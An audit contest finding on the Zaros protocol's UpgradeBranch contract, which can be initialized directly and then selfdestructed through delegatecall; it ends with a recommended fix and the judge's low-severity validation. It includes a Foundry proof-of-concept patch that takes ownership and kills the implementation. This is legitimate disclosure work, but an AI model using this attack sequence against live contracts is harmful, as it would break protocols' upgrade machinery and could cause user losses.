Zaros Part 1
Zaros
DeFiFoundry
60,000 USDC
View results
Previous Next
Submission Details
Severity: low
Valid

UpgradeBranch Implementation Can Be Killed, Making the Tree Proxy System Inoperable

0xpep7

Summary

The UpgradeBranch implementation contract does not call _disableInitializers to lock the contract. This leaves it vulnerable to being initialized by an attacker, who can then call arbitrary initializables and potentially kill the contract using selfdestruct. This critical vulnerability can render the RootProxy unable to exercise its upgrading operations, effectively making the Tree Proxy system inoperable.

Vulnerability Details

https://github.com/Cyfrin/2024-07-zaros/blob/d687fe96bb7ace8652778797052a38763fbcbb1b/src/tree-proxy/branches/UpgradeBranch.sol#L12

The root cause of the vulnerability is that _disableInitializers is not called to lock the implementation contract. Let us walk through the issue with the following scenario:

  1. Alice discovers that the _disableInitializers function was not called in the UpgradeBranch implementation contract.

  2. Alice initializes the UpgradeBranch implementation contract, gaining ownership.

  3. Alice uses the ownership to call an arbitrary initializable via upgrade function, potentially invoking the selfdestruct call, killing the UpgradeBranch implementation contract.

  4. As a result, the RootProxy or PerpsEngine cannot exercise its upgrading operations, rendering the Tree Proxy pattern inoperable.

POC

Run following command to execute the POC:

git apply upgradeBranchDestruction.patch && forge test -vv --mt test_killImplementationContract

Notes: part of destroying code is in the setUp, due to the limitation of foundry reported at https://github.com/foundry-rs/foundry/issues/1543. The code size will be checked in the test_killImplementationContract.

upgradeBranchDestruction.patch:

diff --git a/test/integration/tree-proxy/upgrade-branch/upgrade/upgradeBranchDestruction.t.sol b/test/integration/tree-proxy/upgrade-branch/upgrade/upgradeBranchDestruction.t.sol
new file mode 100644
index 0000000..80ee95a
--- /dev/null
+++ b/test/integration/tree-proxy/upgrade-branch/upgrade/upgradeBranchDestruction.t.sol
@@ -0,0 +1,58 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity 0.8.25;
+
+import { Base_Test } from "test/Base.t.sol";
+import { UpgradeBranch } from "@zaros/tree-proxy/branches/UpgradeBranch.sol";
+import { IPerpsEngine } from "@zaros/perpetuals/PerpsEngine.sol";
+import { RootProxy } from "@zaros/tree-proxy/RootProxy.sol";
+
+import { console } from "forge-std/console.sol";
+
+contract KillImplementation {
+ function kill(address to) external {
+ selfdestruct(payable(to));
+ }
+}
+
+contract Upgrade_Destruction_Test is Base_Test {
+ KillImplementation killContract;
+ UpgradeBranch upgradeBranch;
+
+ function setUp() public override {
+ Base_Test.setUp();
+
+ killContract = new KillImplementation();
+
+ address attacker = address(9999);
+ // Look up UpgradeBranch impl contract via UpgradeBranch.upgrade selector
+ upgradeBranch = UpgradeBranch(IPerpsEngine(address(perpsEngine)).branchAddress(UpgradeBranch.upgrade.selector));
+
+ vm.deal(attacker, 1 ether);
+ vm.startPrank(attacker);
+
+ // Obtain ownership of the implementation
+ upgradeBranch.initialize(attacker);
+
+ // Kill via delegatecall in UpgradeBranch.upgrade()
+ RootProxy.BranchUpgrade[] memory branchUpgrades = new RootProxy.BranchUpgrade[](0);
+ address[] memory initializables = new address[](1);
+ bytes[] memory initializePayloads = new bytes[](1);
+
+ initializables[0] = address(killContract);
+ bytes memory killData = abi.encodeWithSelector(killContract.kill.selector, attacker);
+ initializePayloads[0] = killData;
+
+ console.log("UpgradeBranch code length before kill", address(upgradeBranch).code.length);
+ upgradeBranch.upgrade(branchUpgrades, initializables, initializePayloads);
+ vm.stopPrank();
+ }
+
+ function test_killImplementationContract() external {
+ // Check that the contract is destroyed
+
+ // @audit Notes: part of destroying code is in the setUp, due to the limitation of foundry reported at https://github.com/foundry-rs/foundry/issues/1543.
+ // The code size will be checked in the test_killImplementationContract.
+ console.log("UpgradeBranch code length after kill", address(upgradeBranch).code.length);
+ assertEq(address(upgradeBranch).code.length, 0, "UpgradeBranch not killed");
+ }
+}
\ No newline at end of file
​

Impact

The severity of this vulnerability is critical as it breaks the entire Tree Proxy upgrading pattern and potentially leading to significant disruptions or losses.

Tools Used

Foundry test

Recommendations

Call _disableInitializers in the constructor of the UpgradeBranch implementation contract. This locks the contract and prevents any unauthorized initialization attempts.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

UpgradeBranch lacks `_disableInitializers()` in constructor.

Appeal created

0xpep7 Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
0xpep7 Submitter
about 1 year ago
inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

UpgradeBranch lacks `_disableInitializers()` in constructor.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.